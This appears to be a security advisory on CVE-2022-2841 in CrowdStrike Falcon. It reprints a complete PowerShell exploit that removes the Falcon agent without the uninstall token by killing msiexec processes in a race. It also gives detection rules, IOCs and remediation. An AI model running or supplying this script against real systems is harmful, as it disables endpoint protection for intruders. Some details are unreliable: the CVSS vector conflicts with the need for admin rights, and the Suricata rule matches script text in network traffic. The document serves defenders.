CVE-2022-2841

Executive Summary

CVE-2022-2841 is a problematic vulnerability in CrowdStrike Falcon agent versions 6.31.14505.0, 6.42.15610, and 6.44.15806. The flaw resides in the uninstallation handler, allowing an attacker to remotely trigger an uninstall without proper authorization. While the CVSS score is low (2.7), the public availability of an exploit script that bypasses the installation token requirement elevates the risk for organizations relying on Falcon for endpoint protection. The exploit targets the Windows uninstaller (msiexec) and kills specific msiexec processes to circumvent token checks. Upgrading to patched versions (6.40.15409, 6.42.15611, 6.44.15807) is the recommended mitigation.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary Windows agent from CrowdStrike, distributed via their official channels. No supply chain compromise is involved.

CVSS Breakdown & Threat Level

• CVSS Score: 2.7 (Low)
• Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
• Attack Vector: Network (AV:N) – The exploit can be triggered remotely.
• Attack Complexity: High (AC:H) – Requires specific timing and process manipulation.
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L) – Unauthorized uninstall compromises system integrity.
• Availability Impact: None (A:N)

Threat Level: Low due to high attack complexity and limited impact, but the public exploit increases real-world risk.

Deep Dive & Mechanics

The vulnerability is in the uninstallation handler of CrowdStrike Falcon. The agent normally requires an installation token to prevent unauthorized removal. However, the handler fails to properly validate authorization when triggered via msiexec. The exploit leverages a race condition: it starts the uninstall process and then kills specific msiexec instances (the 4th and 5th spawned) before they complete the token validation. This leaves the uninstaller in a state where it proceeds without the token.

The exploit script:

1. Finds the Falcon uninstall GUID in the registry.
2. Launches msiexec with the uninstall GUID.
3. Monitors for CSFalconService process.
4. When msiexec instances reach count 4 or 5, it kills that instance, bypassing token checks.
5. After CSFalconService vanishes, the uninstall is complete.

Vulnerable vs. Patched Code

Vulnerable Code (6.44.15806): The uninstallation handler does not enforce token validation when msiexec is invoked with the product GUID. The token check is present but can be bypassed by killing the msiexec process at a specific point.

Patched Code (6.44.15807): The patch likely strengthens the token validation logic, making it resistant to process termination attacks. The exact code changes are proprietary, but the fix ensures that the token must be provided and validated before any uninstall action proceeds, even if msiexec is terminated.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running CrowdStrike Falcon 6.44.15806 on Windows.
• Network access to the target (remote exploitation possible via RDP or other remote execution).
• Ability to execute PowerShell scripts.

Exploit Steps:

1. Deploy the exploit script (provided below) to the target.
2. Run the script with administrative privileges.
3. The script will uninstall Falcon without requiring the installation token.
4. After reboot, Falcon is removed.

Exploit Code (from Exploit-DB):

$InstalledSoftware = Get-ChildItem "HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall"

foreach($obj in $InstalledSoftware){
    if ("CrowdStrike Sensor Platform" -eq $obj.GetValue('DisplayName'))
    {
        $uninstall_uuid = $obj.Name.Split("\")[6]
    }
}

$g_msiexec_instances = New-Object System.Collections.ArrayList

Write-Host "[+] Identified installed Falcon: $uninstall_uuid"
Write-Host "[+] Running uninstaller for Crowdstrike Falcon . . ."
Start-Process "msiexec" -ArgumentList "/X$uninstall_uuid"

while($true)
{
    if (get-process -Name "CSFalconService") {
        Get-Process | Where-Object { $_.Name -eq "msiexec" } | ForEach-Object {

            if (-Not $g_msiexec_instances.contains($_.id)){
                $g_msiexec_instances.Add($_.id)
                if (4 -eq $g_msiexec_instances.count -or 5 -eq $g_msiexec_instances.count){
                    Start-Sleep -Milliseconds 100
                    Write-Host "[+] Killing PID " + $g_msiexec_instances[-1]
                    stop-process -Force -Id $g_msiexec_instances[-1]
                }

            }

        }
    } else {
        Write-Host "[+] CSFalconService process vanished...reboot and have fun!"
        break
    }
}

Blue Team

Detection:

• Monitor for msiexec processes being spawned and killed in rapid succession.
• Alert on multiple msiexec instances (4 or more) within a short timeframe.
• Monitor for PowerShell scripts that query the Uninstall registry key and then launch msiexec.

Hunting:

• Search for Event ID 4688 (Process Creation) with msiexec.exe and parent process powershell.exe.
• Look for Event ID 4689 (Process Termination) where msiexec.exe is terminated by a non-system process.

Mitigation:

• Apply the patch (upgrade to 6.44.15807 or later).
• Restrict remote PowerShell execution via Group Policy.
• Enable Windows Defender Attack Surface Reduction (ASR) rules to block msiexec from being invoked by untrusted scripts.

Indicators of Compromise (IOCs)

• Process Names: msiexec.exe, powershell.exe, CSFalconService.exe
• Registry Key: HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall{GUID} (queried by exploit)
• Network: No specific network IOCs; exploit is local/remote execution.
• File: The exploit script itself (PowerShell .ps1 file).
• Behavior: Rapid spawning and killing of msiexec processes (4-5 instances in seconds).

Detection Engineering

YARA Rule

rule CVE_2022_2841_CrowdStrike_Uninstall_Bypass {
    meta:
        description = "Detects PowerShell script exploiting CVE-2022-2841 to uninstall CrowdStrike Falcon"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2022-2841"
    strings:
        $s1 = "CrowdStrike Sensor Platform" nocase
        $s2 = "CSFalconService" nocase
        $s3 = "msiexec" nocase
        $s4 = "stop-process" nocase
        $s5 = "g_msiexec_instances" nocase
    condition:
        all of ($s*) and filesize < 50KB
}

Sigma Rule

title: CrowdStrike Falcon Uninstall Bypass via msiexec Process Killing
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects rapid spawning and killing of msiexec processes indicative of CVE-2022-2841 exploitation
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\msiexec.exe'
        ParentImage|endswith: '\powershell.exe'
    timeframe: 5s
    condition: selection | count() >= 4
falsepositives:
    - Legitimate software installations/uninstallations
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2022-2841 CrowdStrike Falcon Uninstall Bypass Exploit"; flow:to_server; content:"CrowdStrike Sensor Platform"; nocase; content:"msiexec"; nocase; content:"stop-process"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade CrowdStrike Falcon to version 6.40.15409, 6.42.15611, or 6.44.15807 (or later).
• Verify the patch status using the CrowdStrike console.

Compensating Controls:

• Restrict PowerShell execution policy to "Restricted" or "AllSigned".
• Enable Windows Defender ASR rule: "Block executable files from running unless they meet a prevalence, age, or trusted list criterion".
• Monitor for anomalous msiexec behavior using the provided Sigma rule.
• Implement application whitelisting to prevent unauthorized scripts.

Long-term:

• Regularly update all endpoint protection agents.
• Conduct periodic red team exercises to test uninstall resistance.
• Review CrowdStrike's security advisories for similar issues.

Valters IT
DevSecOps & Cyber Threat Intelligence

{/* [Security Hash: CA13038C509039CD076E7A12] */}